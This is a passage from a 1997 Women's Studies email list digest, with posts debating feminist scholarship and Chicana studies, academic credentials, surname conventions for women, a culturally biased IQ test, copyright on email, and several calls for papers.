charset=US-ASCII On Fri, 19 Sep 1997, Claire O'Brien wrote: > Dapne Patai wrote: > > < Claire's posting has helped the discussion descend further toward > personal attacks. Another fine momment in the history of women's studies > pedagogy > > > Daphne Patai laments the pedagogical descent prompted by what she terms my > personal attacks: one more opportunity for a serious scholarly conversation > derailed by yet another myopic feminist. > Meanwhile, I consider the smart, articulate women who have emailed me > privately in response to my post, explaining their reasons for NOT > responding to Daphne - and I lament the many Fine Momments we will NEVER > experience because the dynamics of this list have, in fact, produced a > ""culture"" of self-censorship: and yes, Daphne - you have played a - dare I > say it? - seminal role in the shaping of that culture. Ironic, as one of > your fundamental critiques of feminist scholarship is its built-in > self-censorship. An insult? I think you are smarter and tougher than that. > I think some people are also smarter to see through a scapegoating mechanism. I read several smart articulate posts to this list on the multifacted issues this embroilment has generated (with Daphne being right ""here""). It didn't stop any of them. It seems to me smart articulate people have no trouble articulating their ideas if they want to on this list. That's one of the wonderful yields of the combination smart + articulate. ""Blame it on Daphne"" is a shoddy request at best. > On a related, but slightly separate note: when I consider the shoddy, > flawed, and self-serving body of scholarship represented by so much of the > historiography in my own fields of United States history - and then compare > it to the heroic accomplishments of feminists and other revisionist fellow > travellers dating from the 1960s, and continuing to the present: well, all > I can say is "" Halleluia "". Mistakes, biases, naivete and all: wow, have we So when other people do it it's ""shoddy, flawed, and self-serving"", when fellow historians do it it's ""mistakes, biases, and naivete"". If that isn't a self-serving framing, I don't know what is. > done a better job! Most of the historical profession acknowledged this debt > to feminist scholarship long ago. I'm not quite sure what's going on in > your field, Daphne, but I suspect the scenerio there is much the same as it > is in history. > It just has occurred to some of us that contributions (and certainly that includes great contributions) can include serious flaws as well. Unless you are working from an infantile mind frame that can only see reality in terms of dichotonies: black or white, good or evil, perfect scholarship or trash, etc., these framings of the stated of disciplines are quite shoddy and self-serving. Great progress has been made, credit deserves to be given, many halleluiahs, but denial about existing serious problems is very shoddy and deserves to be criticized always. It also occurs to me that the only reason Daphne gets a response is because she is in a privileged position to bring wider attention to these criticisms. Otherwise they would be totally ignored by the very self-serving and self-glorifying participants. Exactly like when one tries to bring about criticism to ""men"" in positions of power, it is only *not* ignored if you can put it in the spotlight. Also, anyone who has done a good job in studying history knows that progress in academia and society doesn't come about by having tea-time pleasantry conversations with people who need to be accountable for their problematic actions. > So many scholars, and all of us so wrong about so much ....... > You forgot humbleness, most of all... Vera (fiatlux@umich.edu) > Claire > _________________ > Claire O'Brien, ABD > Department of History > Southern Illinois University > cobrien@siu.edu > ========================================================================= Date: Fri, 19 Sep 1997 09:26:23 PDT Reply-To: Women's Studies List Sender: Women's Studies List From: Somer Brodribb Subject: WOMEN AND THE MILLENNIUM--CALL FOR PAPERS CALL FOR PAPERS WOMEN AND THE MILLENNIUM Edited by Somer Brodribb, published by gynergy books ""bringing women's voices into print"". Publication date: Fall 1998. International in scope, positive and realistic, with a view of the past and a vision of the future, this collection of essays will explore, within the framework of women's lives, some of the questions feminists are considering at the turn of the millenium. How are we forming the future? What will the issues of sex, race, class, nation, identity and history mean in the next century? What space will women have? What borders will there be, in cyberspace and in the material, social and economic worlds around us? What directions will our collective action and analysis take? How will feminist changes materialize? Papers are invited in such areas as: o Feminist activism in change Welfare, homelessness and poverty o Economic restructuring and migration o Cyberspace and communication o Women's utopian and dystopian writing and filmmaking o Girls' organizing and popular culture o Reproduction -- conceiving the new world order o Settler societies o Native women and land claims o The future of Women's Studies o Women and health o Violence against women o Future lesbians To submit a proposal, send an abstract (two copies, 250 words maximum) by November 28, 1997. Once proposals are approved, articles will be due March 28, 1998. Authors who are concerned with issues of diversity are particularly welcome. Send abstracts to Somer Brodribb, Department of Women's Studies, University of Victoria, British Columbia, Canada V8W 3P4. Tel: 250-472-4277; Fax 250-721-7210. email: brodribb@uvvm.uvic.ca gynergy books P.O. Box 2023 Charlottetown, PEI Canada C1A 7N7 Phone (902) 566-5750 Fax (902) 566-4473 email: editor@gynergy.com Year One Millennium Three ========================================================================= Date: Fri, 19 Sep 1997 12:42:26 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Susan Koppelman Subject: Re: credentials & research In a message dated 97-09-12 07:53:57 EDT, you write: << My work grew out of my own lived experience, attendance at workshops on the topic, courses, reading, and personal reflection. Today, because I have a strong academic background, I know to cite research that informs my work. However, that does not diminish the earlier work. So, my question is how do scholars decide ""whose voice counts""?, when one can decide that only those who cite other experts have appropriate ""credentials""? My own experience is that the voice of those in less academic settings are often doing the ground-work, making the connections, that researchers only come to much later. That has surely been the case in peace education. and most likely in the field of women's studies, itself. >> I have been looking forward to reading responses to Jacqueline's questions in this post. I think the discussion going on about Chicana perspectives, inclusion, materials for teaching, etc. and this post raise many of the same important questions/points/issues. Perhaps if we set ourselves the task of responding to Jacqueline's important questions, we get continue to address the issues raised in the Chicana thread but without the personal vitriol that has become attached to it. Anyway, the whole issue of credentials is an important one for all of us. I know, for instance, that many job posts in women's studies include the job requirement of a degree in women's studies. Only a few of those posts say ""or equivalent experience."" So where does that leave the pioneers in the field of academic women's studies who don't have degrees in women's studies because they invented those degrees? And where does that leave the pioneers in feminism who don't have degrees, academic so-called professional credentials because they found the heteropatriarchal academic institutions too stiffling and took their revolutionary zeal elsewhere--and have at least as muc to teach about feminist, women's studies, contemporary women's history, literature, etc. as anyone with a degree in the field? And how many people of color are excluded from teaching about, say, Black history or racism or Chicana lit. or other subjects because they don't have the credentials BECUUSE of racism? What happens to the creators of knowledge when the knowledge they have created becomes institutionalized and the only way to be part of the institution is to have the institutional credentials? This is a very crazy scenario. I think that women's studies people, the various ethnic and racial studies people, have to be the ones to figure out what justice means in these situations and do something to implement it by challenging and offering other ways to handle these realities to the institutions that are so limited in what they can make available to students by the institutions' own rules. Susan Koppelman <> ========================================================================= Date: Fri, 19 Sep 1997 12:15:05 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Regina Marie Buccola Subject: Re: ""Kiss Me Kate"" Comments: To: Sandra Donaldson In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Though this work, too, focuses on the source text rather than _Kiss Me, Kate_ per se, Penny Gay's book _As She Likes It_ devotes an entire chapter to _The Taming of the Shrew_ in performance from a feminist critical perspective. Not only is he commentary useful and insightful, but the synopses of performances that she provides is as well. I had the opportunity last fall to see an all-female production of _Taming of the Shrew_ at Footsteps Theatre in Chicago. What was interesting to me about that play was the fact that they went out of their way to leave the violence IN. With an all-female cast, what this threw into sharp relief was the intense CLASS conflict that provides a strong undercurrent to the surface narrative of the text. Very interesting stuff. gina buccola Univ. of Illinois at Chicago On Thu, 18 Sep 1997, Sandra Donaldson wrote: > ""Kiss Me Kate"" is going to be staged here next month, and I'd > like to ask the list if they know of (or are themselves one) scholars > who address feminist issues in musical comedy. > I usually just don't attend entertainments that involve hitting > and subduing (""A Funny Thing Happened . ."" wasn't the least bit funny), > but this is being put on by a friend and will include discussions > afterward. This is also, then, a request for suggestions about how to > approach issues raised by the play when folks gather afterwards (outrage > and boycotting aren't options for me this time). > > > Sandy Donaldson > > donaldso@badlands.nodak.edu > ========================================================================= Date: Fri, 19 Sep 1997 13:30:59 -0400 Reply-To: ""Leah C. Ulansey"" Sender: Women's Studies List From: ""Leah C. Ulansey"" Subject: ""Maturation"" of Chicana studies? was: reading carefully or selectively? In-Reply-To: MIME-version: 1.0 Content-type: TEXT/PLAIN; charset=US-ASCII Teresa Macias wrote: > >I am not sure why I am bothering posting this [...] I am growing >increasingly frustrated [...] I thought this was a great opportunity to >reflect on the content and pedagogy of WS in regards to Chicanas and >Latinas{...}"" > Then Niki Benokraitis wrote: > > In a similar vein, I was interested in the comments by the subscriber who > felt that much of the Chicana/Latina research is embryonic (experiential > and anecdotal rather than ""empirical""). I agreed but didn't see the > comment, unlike some subscribers, as negative. Teresa, I hope you don't give up. Niki, the term ""embyonic"" does imply that the ""experiential"" (aka ""touchy-feely"") is infantile, primitive, something to be outgrown on the path to maturity, which you equate with empiricism. Other people might equate the intellectual maturity of a field like Chicana Studies with precision, critical distance or theoretical sophistication (Rosa, was that your position?--unfortunately I deleted your first post by mistake--if you still have it, could you forward it to me?). Still others might object to the idea that the ""experiential"" must be ""outgrown"" because they equate intellectual maturity with activism or the nurturing and passing on of a powerful ""experientially-based"" political consciousness to the next generation. (Teresa, was that more or less your position?) All of these kinds of ""maturity"" are interrelated and complementary--no need to put ourselves or each other down (except that we live in a hierarchical society that loves us to put ourselves and each other down). Personally, I'll always have a place for the experiential, and I wouldn't call it ""less developed"" than more conventionally academic work. (In fact, This Bridge Called My Back was exciting to me because it embodies a kind of ""theory in the flesh,"" lived theory.) But I'd be interested to hear more from list members about what the ""maturation"" of a discipline like Chicana studies might/should be, and why. Anyone interested in the literary side of this debate (the ""maturation"" of an academic discipline *that is the scholarly wing of a living liberation movement of an oppressed group*) might be interested in a debate beteen Joyce Joyce, Henry Lewis Gates and Houston Baker about formalist criticism (poststructuralism) and the future of African American literary studies (New Literary History, 18 and 19, 1987). Joyce echos the position taken by Barbara Christian in ""The Race for Theory."" Sometimes the question come down to mixed allegiences: allegience to one's community or political base vs allegience to the intellectually flawed, sometimes co-opted BUT useful and sometimes admirable liberal truth-seeking procedures of the university. (It's important to point out that much feminist/multicultural ""disloyalty"" to the university exists NOT because we don't care about scholarship but because the university fails in systematic ways to live up to its truth-seeking mission.) Summing up the Joyce-Gates-Baker debate, Harold Fromm writes: ""This ongoing debate derives most of its interest not from the rightness or wrongness of its principals' positions so much as from its exhibition of an evolving, conflicted consciousness...Though Professor Joyce's love and loyalty with regard to her people can only command respect, and though her conscience as a professor can only be admired, her conflicted roles as black and as intellectual involve a psychic split that can never be healed without an alteration of perspective and a transvaluation of values."" Isn't it interesting how Fromm believes it is a contradiction in terms to be black-identified and an intellectual! Clearly it is his perspective and values that need to be altered and transvalued. He goes on: ""This is, however, a very common dilemma, experienced by everyone who has grown away from his family because of rejection of ethnicity, change of social class, or increased education"" (Fromm is thinking here specifically of Richard Rodriguez.) Fromm apparently believes there is a necessary connection between education and ""whiteness"" and I think this is something that all ethnic studies programs might need to combat. Based on this quote, I have a bunch of questions: 1. Is it one mission of Chicana theory to demonstrate that increased education and/or change of social class do NOT have to lead to rejection of ethnicity or an intellectual psychic split? (I get this impression sometimes from reading Gloria Anzaldua.) 2. The issues surrounding assimilation are important for the study of all minorities. Should WS teachers stress the ways in which the assimilation stresses are unique for each group or should we try to generalize? 3. Is it one mission of Chicana theory to effect an ""alteration of perspective and transvaluation of values"" not in the mind of the individual Chicana woman but in the collective mind of the American society that needs her to be fragmented? These are just intended as thoughts to get a discussion going...a discussion that is definately not going on at my academic intsitution... If anyone else out there read the Joyce Joyce debate in NLH, I'd also be interested in more on- or off- line discussion of that. Leah Ulansey leou@jhunix.hcf.jhu.edu ========================================================================= Date: Fri, 19 Sep 1997 10:19:13 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: Patricia Washington Subject: RE; Asian Women and Sexuality Issues Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" > Please respond privately: I have a student who wants to conduct research on Asian women with particular attention to sexuality issues as they pertain to Asian women. Does anyone have recommendations for works which might be useful to her? Thanks in advance for any help. Pat Washington, SDSU washing3@mail.sdsu.edu ========================================================================= Date: Fri, 19 Sep 1997 11:36:19 -0700 Reply-To: Women's Studies List Sender: Women's Studies List From: Betty Glass Subject: Fakes In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Well, don't forget the scene in the movie, ""When Harry Met Sally,"" in which Meg Ryan provides a classic performance of a fake orgasm in the middle of a restaurant. 8-) Betty On Thu, 18 Sep 1997, liora moriel wrote: > The CFP about the proposed book ""MEN WHO ARE REALLY GOOD IN BED > AND THE WOMEN WHO THINK THIS IS ENOUGH."" > reminds me that I need urgently citations for this idea (which a male > editor is questioning about a soon-to-be-published paper of mine): > WOMEN SOMETIMES FAKE ORGASMS. > I've known this all my life and have talked with countless women about > this; I've seen it in books BUT a search for ""faked orgasm"" does not > result in any ""hits"" and even MEDLINE has only ONE article about this (a > recent German study) since 1985... > If this is not a private delusion, :-) please help me out. Thanks. > > Liora Moriel > Comparative Literature Program > lioram@wam.umd.edu ========================================================================= Date: Fri, 19 Sep 1997 14:16:44 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Rachel Cassel Murphree Subject: when were women's surnames used? Comments: cc: Robin Roberts Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII A colleague not on this list is looking for information on when the practice of referring to men by their surnames and to women by their first names changed to using surnames for both genders. She remembers it occuring sometime in the 1980s, but we haven't been able to verify this. Does anyone know or have a citation? Thanks in advance. --Rachel Rachel Murphree, LSU Libraries 504-388-4742/notrcm@unix1.sncc.lsu.edu ========================================================================= Date: Fri, 19 Sep 1997 14:20:36 CDT Reply-To: Women's Studies List Sender: Women's Studies List From: Shahin Gerami Subject: in the Company of men Our campus film series will show ' In the Company of men"" and I plan to ask my Soc of Gender Roles class, a good mix of men and women, to see the movie and analyze it for changing gender roles. I have not seen the movie yet. Any word of advise, warning, suggestion, etc? Thank You Shahin Gerami Shg226f@vma.smsu.edu ========================================================================= Date: Fri, 19 Sep 1997 15:55:23 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: ""William W. Pendleton"" Subject: Re: when were women's surnames used? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII The comment below about surnames seems to be at variance with my own experience. When I was in high school all students were addressed by their first names and so addressed each other. In college and at the university, students addressed each other by their first names whether male or female and faculty addressed students as Mr or Miss. In the seventies with the advent of the Ms convention some of us used only surnames for males and females when calling the role. In calling on students I generally used and continue to use both names-Barbara Smythe or Tom Jones. In some settings surnames alone have been used alone for a long time--Jones, report to the Captain--Blanchard was and excellent golfer at school. Those settings were all male, but I heard in the fifties young women at all female schools use the same convention in speaking of and addressing other young women to whom they were not close. In some settings the use of a surname alone in addressing someone has been an indication of class or authority as when a superior, say executive officer, might call junior executives by their surname but be addressed by them as Mr. Interestingly, he might address the night watchman by his first name. I would like to know about the settings in which men were called by their surnames and women by their given names [assuming the men and women had comparable roles] since I am not aware of ever having been in one. On Fri, 19 Sep 1997, Rachel Cassel Murphree wrote: > A colleague not on this list is looking for information on when the > practice of referring to men by their surnames and to women by their first > names changed to using surnames for both genders. She remembers it > occuring sometime in the 1980s, but we haven't been able to verify this. > Does anyone know or have a citation? > > Thanks in advance. > > --Rachel > > Rachel Murphree, LSU Libraries > 504-388-4742/notrcm@unix1.sncc.lsu.edu > Wm W. Pendleton Department of Sociology Emory University Atlanta, Ga. 30322 socwwp@emory.edu 404 727-7524 ========================================================================= Date: Fri, 19 Sep 1997 13:37:01 -0800 Reply-To: Women's Studies List Sender: Women's Studies List From: Nikki Senecal Subject: Re: when were women's surnames used? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" William Pendleton wrote: >first name. I would like to know about the settings in which men were >called by their surnames and women by their given names [assuming the men >and women had comparable roles] since I am not aware of ever having been >in one. At first I was curious about this as well, but then it occured to me that I have seen the difference *in writing*. Men were referred to by surname after the initial use of full name. Women, however, were referred to by first name after the first reference (or sometimes Miss Jones was used). We all know where that led . . . This must have been the case because I have students in my writing classes who STILL refer to all men by surname and all women by first name. It's a bit jarring to come across: ""Rodriguez writes about his experiences in college in a different way than Joyce [Carol Oates]."" Rachel and her colleague may want to look at style manuals (MLA, APA, Chicago) and when this heading ""Sexist Language"" first came to be discussed. I checked out our Guide to Freshman Writing, but they just say ""during the past 30 years . . ."" Nikki Senecal Assistant Lecturer University of Southern California senecal@scf.usc.edu >On Fri, 19 Sep 1997, Rachel Cassel Murphree wrote: > >> A colleague not on this list is looking for information on when the >> practice of referring to men by their surnames and to women by their first >> names changed to using surnames for both genders. She remembers it >> occuring sometime in the 1980s, but we haven't been able to verify this. >> Does anyone know or have a citation? ========================================================================= Date: Fri, 19 Sep 1997 18:35:21 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: beatricekachuck Subject: Re: black IQ test In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" The ""theory"" of IQ tests and tests and mental ability tests that refer to it, showing that they produce the same bell-shaped distribution of scores (school reading tests, SAT, etc.), is that the test/s represent inherent differences. This permits psychologists, educators and so on to tell the world that there's a biological boundary that cannot be overcome by social intervention. The ""Black IQ Test"" is a useful exercise to demonstrate that social experience affects IQ test scores. But it doesn't, by itself, get at the pernicious theory. beatrice bkachuck@cunycampus.mci.net ========================================================================= Date: Fri, 19 Sep 1997 18:37:29 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: beatricekachuck Subject: nwsa embedded conference Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" For the NWSA conference 6/10-14/98 embedded conference ""Women's Rights ARound the World: Past, Present, and Future"" I am organizing a panel on mediators of women's rights. Papers would address institutions that grant or withhold rights, sources from which rights are assumed to be derived (e.g., local custom, a divinity), the problematic of rights in legal theories, or something else that seems relevant to the mediation of rights. Papers should include evaluations of the possibility of achieving improvements in material aspects of women's lives from the perspective of the mediator discussed, as a guide to activism. My paper will focus on the state, mostly in respect to the US, India and a few other postcolonized countries. If you are interested in participating in the panel, please let me know. The deadline for submissions to NWSA is 11/1/97. beatrice bkachuck@cuny.campus.mci.net ========================================================================= Date: Fri, 19 Sep 1997 19:09:17 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: hagolem Subject: quoting without permission Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" i have been following the discussion on the listserv about quoting people's email to the list without their permission in other publications. it is my understanding that this violates copyright, as i comprehend the current law. This interested me enough to do a little research. i recommend everyone who likewise finds this practice has drawn their attention to consult a web site by a lawyer, Ivan Hoffman, who i believe specializes in publishing and literary law. He has posted a number of articles on the subject. The relevant one is called '""C"" RIGHTS IN ""E"" MAIL. his address is http://home.earthlink.net/ivanlove/rights.html. This is a discussion of how copyright applies to email postings and how and why permission must be sought if such email is quoted. Not being a lawyer, i am not going to paraphase his discussion, but rather recommend you consult him for your own protection if you have any interest in protecting your email. Attaching a copyright slug is not necessary and has no legal meaning in this context. The copyright is automatic. Marge Piercy hagolem@capecod.net ========================================================================= Date: Fri, 19 Sep 1997 15:52:00 PDT Reply-To: Women's Studies List Sender: Women's Studies List From: ""Saad, Shahnaz"" Subject: FW: Your request hello! Several people have asked me for the citation for the ""Black IQ Test."" I have not been able to get a copy of the BITCH (Black Intelligence Test to Counterbalance Honkies, sometimes also called the Black Intelligence Test of Cultural Homogeneity), but I have learned that it was developed by Robert L. Williams and presented at the 1972 APA meeting in Hawaii. I have, however, found the Dove test, upon which the BITCH test may have been based. Here is the citation: ""The Dove Counterbalance Intelligence Test,"" and the citation is Haskins, Jim. The Psychology of Black Language_. New York: Barnes and Noble Books, 1980, pp. 47-50. Thanks so much to all of you who helped with this question! Chris (S. Chris Saad, PhD ssaad@wcupa.edu) ========================================================================= Date: Fri, 19 Sep 1997 21:42:39 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Susan Koppelman Subject: Re: FW: Your request I haven't checked this out in about 18 mo. but Dr. Robert Williams used to have an office (for at least 20 years) on Delmar Rd. in the Delmar Loop in University City, Mo. 63130. He was always in the phone book in St. Louis. Susan Koppelman <> ========================================================================= Date: Sat, 20 Sep 1997 09:36:56 +0000 Reply-To: Women's Studies List Sender: Women's Studies List Comments: Authenticated sender is From: Tobe Levin Subject: Argentina - lecture in Spanish on FGM Dear List members, As I've read a number of international posts, I hope the following is not inappropriate: I will be in Argentina 20 December - 10 January and would be happy to lecture on the world movement against female genital mutilation in women's studies classes. I gave a 1- hour lecture in Spanish in Tenerife in the summer of 96 and could easily up-date my presentation (including video and OHP). The talk also offers an interview I did for Tenerife tv... I know the dates may not be propitious, but as I'm actively involved in the campaign, I'd welcome an opportunity to spread the word. Please reply privately. Tobe Levin Levin@em.uni-frankfurt.de ========================================================================= Date: Fri, 19 Sep 1997 23:59:42 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Jacqueline Haessly Subject: Re: black IQ test Comments: To: beatricekachuck In-Reply-To: <3.0.3.32.19970919183521.0069d154@cuny.campus.mci.net> Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Beatrice, 30 yrs ago, I devised a simple fifty word vocabulary test for a college course, and asked students to define the terms. Included were words like ""bread"", ""rag"", and others that had multiple meanings, depending upon one's racial/cultural/etc. experience. This was useful not only to ""demonstrate that social experience affects test scores"", but also to raise consciousness and (hopefully) examine and change attitudes. It seems that this is what is most needed in order to "" get at pernicious theory"" that supports racist or other-wise biased interpretations of IQ or ohter testing results. Peace, Jacqueline Haessly jacpeace@acs.stritch.edu Image Peace! On Fri, 19 Sep 1997, beatricekachuck wrote: > The ""theory"" of IQ tests and tests and mental ability tests that refer to > it, showing that they produce the same bell-shaped distribution of scores > (school reading tests, SAT, etc.), is that the test/s represent inherent > differences. This permits psychologists, educators and so on to tell the > world that there's a biological boundary that cannot be overcome by social > intervention. The ""Black IQ Test"" is a useful exercise to demonstrate that > social experience affects IQ test scores. But it doesn't, by itself, get at > the pernicious theory. > beatrice bkachuck@cunycampus.mci.net > ========================================================================= Date: Sat, 20 Sep 1997 00:05:37 -0500 Reply-To: Women's Studies List Sender: Women's Studies List From: Jacqueline Haessly Subject: Re: credentials & research (fwd) Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII ---------- Forwarded message ---------- Date: Fri, 19 Sep 1997 23:47:58 -0500 (CDT) From: Jacqueline Haessly To: Susan Koppelman Cc: jWMST-L@UMDD.UMD.EDU, Jacqueline Haessly Subject: Re: credentials & research Hi SUsan, I appreciate your efforts to raise up this question. Just today, I had a conversation about the use of a reference in a scholarly paper, and that reference was rejected because it, itself, was not ""scholarly"". No matter that it was the first book in the entire field, when there was not yet -- and still isn't -- an academic field. I feel stymied, because the book in question, and others like it, was written for parents (not academics, though some academics who are parents appreciated it), and it has also been used for classroom teaching. Another thing about this particular book, is that when it was written, the publisher explicityly requested that it be written for adults with 6th grade reading level -- considered at the time as norm in US. While that is a sad commentary on US literacy rates, it does make the book accessible to a wider reading audience. So, the question for me is both what is considered ""scholarly research"", and by whom?, and what format must it be in to be considered such? Perhaps this is the issue one person had in mind when asking about the validity of her own work (I am not remembering all of the post, but the message mentioned ""hurt feelings"" over an earlier message re Chicana feminism.) Sorry this is not clearer! I think your questions about the ways that racism, sexism, ageism limit whose voice makes it to the academy are important ones. Peace, Jacqueline Haessly jacpeace@acs.stritch.edu Image Peace! ========================================================================= Date: Sat, 20 Sep 1997 10:02:20 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Elizabeth Eames Subject: Re: Fakes In-Reply-To: from ""Betty Glass"" at Sep 19, 97 11:36:19 am MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Hi, In a methods course, I just taught Diane Scully (she had a co-author too, sorry can't recall the name offhand) not-so-recent but still interesting sociology of knowledge piece called ""A funny thing happened on the way to the orifice"" (a content analysis of gynecology textbooks) and they mention that it IN THE TEXTBOOKS it was RECOMMENDED by ob-gyn's to fake orgasm. I don't have the citation at home here, but I could get it to you if you need it--just email me back privately--eeames@bates.edu > > Well, don't forget the scene in the movie, ""When Harry Met Sally,"" > in which Meg Ryan provides a classic performance of a fake orgasm > in the middle of a restaurant. 8-) > > Betty > > On Thu, 18 Sep 1997, liora moriel wrote: > > > The CFP about the proposed book ""MEN WHO ARE REALLY GOOD IN BED > > AND THE WOMEN WHO THINK THIS IS ENOUGH."" > > reminds me that I need urgently citations for this idea (which a male > > editor is questioning about a soon-to-be-published paper of mine): > > WOMEN SOMETIMES FAKE ORGASMS. > > I've known this all my life and have talked with countless women about > > this; I've seen it in books BUT a search for ""faked orgasm"" does not > > result in any ""hits"" and even MEDLINE has only ONE article about this (a > > recent German study) since 1985... > > If this is not a private delusion, :-) please help me out. Thanks. > > > > Liora Moriel > > Comparative Literature Program > > lioram@wam.umd.edu > ========================================================================= Date: Sat, 20 Sep 1997 11:52:20 EDT Reply-To: Women's Studies List Sender: Women's Studies List From: Rosa Maria Pegueros Subject: 1)Chicana feminism 2) Listening to each other 3) Daphne I would like to point out, since several have made points about listening to each other, that I wrote that many of the Chicana writers who are used in classes are wonderful. It was the first thing I said in my post. Saying that the field of Chicana/Latina studies is in its infancy is no more an insult than saying that my daughter (who is 17) is a teenager. It is simply a fact of life. Only Minerva sprang forth full-grown from the head of Zeus. The rest of us have to go through stages. For me, as a historian, academic rigor has a precise meaning: It means that we do deep research and try to compose as clear a picture as we can given the limitations of working primarily from documents. It also means that we ask questions about the documents: Whose document? where did it come from? under what conditions was it produced? how was it preserved? is it authentic? And if we have the answers to all of those questions, we look at it in the context of history that has already been recorded, and consider the theories about history in that particular time. We come to the study with our own biases (EVERYBODY has biases) and usually a structure by which we understand the world. In other words, Karl Marx understands the world which emphasizes materialism. bell hooks understands in a different way that empha- sizes the relationships of race and gender. Many of the writers who are used in Chicano studies classes are at the level of recording their own experiences and giving their particular understanding of why things are the way they are. I understand that young people have to have a sense of identity and that we are helping them to attain that. But I am also teaching them a method for analyzing the world, and in particular, the past. If they cannot move beyond the discovery of identity, I believe that they are as handicapped as if we sent our children out into the world without an understanding of themselves as part of our society, not only part of the community. I have refrained from telling you why I feel so strongly about this, but now, I will. I started grad school with the primary purpose of serving my community, i.e., working with Latino students to increase retention, and generally to raise the level of education in the Latino communities around the country (realizing, of course, that I would not being doing it alone). The summer after my first year of grad school, I was picked to be one of the TA's for a women's studies course to be taught as part of the freshman summer program. The FSP was a specially enriched set of classes taught with a strong intensive writing component. The prof for my particular class was a white woman, very progressive, who had a strong identity with the Black students (this is rather a long, complicated story, so I will not go into it.) Anyway, I was the only Latina, and there were 5 black grad student TA's and two whites. The two whites were a couple, married to each other. The FSA was very focussed on identity politics, and had forums for the kids every night on all sorts of oppression. I can't tell you how un- comfortable I was, not only for the sense that it was brain-washing people with an identity of victimhood, but because it was very polarizing. When the two white students (liberals & both very nice people) assigned the film ""Do the Right Thing"" (the Spike Lee film came out during that summer), the prof called a meeting and there was a very nasty discussion about whether the two white students had the right, since they were white, to make such an assignment. The two of them did it innocently, thinking that since there were so many black kids in the program, they would LIKE to have something relevant to their lives to write about. After that, the prof and the black TAs stopped associating with the whites, and when I sat with the couple at lunch, they stopped associating with me as well. This was 1989. It was the most painful experience of my grad school life. Worse, because of the polarization in the program, I could never again get a job with FSA or with the AAA (Academic Advancement Program) despite stellar teaching ratings. I will NEVER forgive the professor, who should have known better, from allowing that polarization. She could have channeled the difficulties into an learning opportunity for everyone. Instead, she allowed identity politics to control the situation. The students, thankfully, were unaware of the tensions, but the experience for the grad students, who should have been beyond the level of discovering identity, was a sour one. What we teach in the classroom, and what we do with it, has an enormous impact on people's lives. If we hope to have a society where people truly get along, then we need not only to discover identity, but also to move beyond to the next levels. We must rise above passion to understanding and acceptance. 2) Daphne and I seldom agree. We have different beliefs about many things and different ways of expressing ourselves, but I have deep respect for her, even though we differ on many issues, including women's studies. She is a fine scholar who has consciously and conscientiously stretched herself from doing Brazilian literature (not the culture she was raised in) to where she is now teaching a course on slavery in Brazil for which she has done an enormous amount of thinking and study. You may not agree with her but to demonize her is simply wrong. We have a professional friendship that has evolved into a personal friendship and I am proud to call her my friend. 2) Listening to each other: This is an informal forum. People read questions and comments and all sorts of interesting trains of thought--often completely unrelated to the original--result. To excoriate people for not sticking to the original topic is incomprehensible to someone who has been on this list for 6 or 7 years, as I have been. Rosie ____________________________________________________________ Rosa Maria Pegueros pegueros@uriacc.uri.edu University of Rhode Island Department of History phone: (401) 874-4092 80 Upper College Road, Suite 3 fax: (401) 874-2595 Kingston, RI 02881 ""Qui me amat, amat et canem meum."" ========================================================================= Date: Sat, 20 Sep 1997 13:14:22 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Anne Carson Subject: when were women's surnames used? -Reply Although this is merely anecdotal, the first time I ever saw any woman referred to solely by her surname was in 1970, when a radical socialist newspaper (possibly the Guardian) referred to Angela Davis as ""Davis."" Anne Carson Cornell University carson@law.mail.cornell.edu ========================================================================= Date: Sat, 20 Sep 1997 13:04:08 -0400 Reply-To: Women's Studies List Sender: Women's Studies List From: Bette Tallen Subject: Re: credentials & research (fwd) I think this recent thread about credentials and research is particularly important--I can remember several times that lesbian theorists in particular have been singled out for not publishing scholarly work because our journals were not on the approved list of many disciplinary departments. One case that I know particularly well involved someone who had published widely in such venues as Sinister Wisdom, Lesbian Ethics, etc. and was turned down by her department because her writings were only for a narrow audience--in her case the unusual happened and a Dean overturned the department saying that he thought that all academic writing was for a narrow audience :) I also remember in the very first women's studies course I was involved in as a graduate student (and yes this was a first at my university)--that the graduate students had to go to fight with some of the more established faculty about what constituted feminist research. We had one student that wanted to do community activist work that was rejected by the faculty, a decision that we were able to overturn. In any case I applaud Susan and Jacqueline for getting us to think again about what is feminist research and who are women's studies scholars. Bette Tallen (now a member of the Indepedent Scholar community) Howetall@aol.com ========================================================================= Date: Sat, 20 Sep 1997 17:39:16 -0400 Reply-To: ""Vera M. Britto"" Sender: Women's Studies List From: ""Vera M. Britto"" Subject: Re: credentials & research (fwd) In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Sat, 20 Sep 1997, Jacqueline Haessly wrote: > ---------- Forwarded message ---------- > Date: Fri, 19 Sep 1997 23:47:58 -0500 (CDT) > From: Jacqueline Haessly > To: Susan Koppelman > Cc: jWMST-L@UMDD.UMD.EDU, Jacqueline Haessly > Subject: Re: credentials & research > > Hi SUsan, I appreciate your efforts to raise up this question. Just > today, I had a conversation about the use of a reference in a scholarly > paper, and that reference was rejected because it, 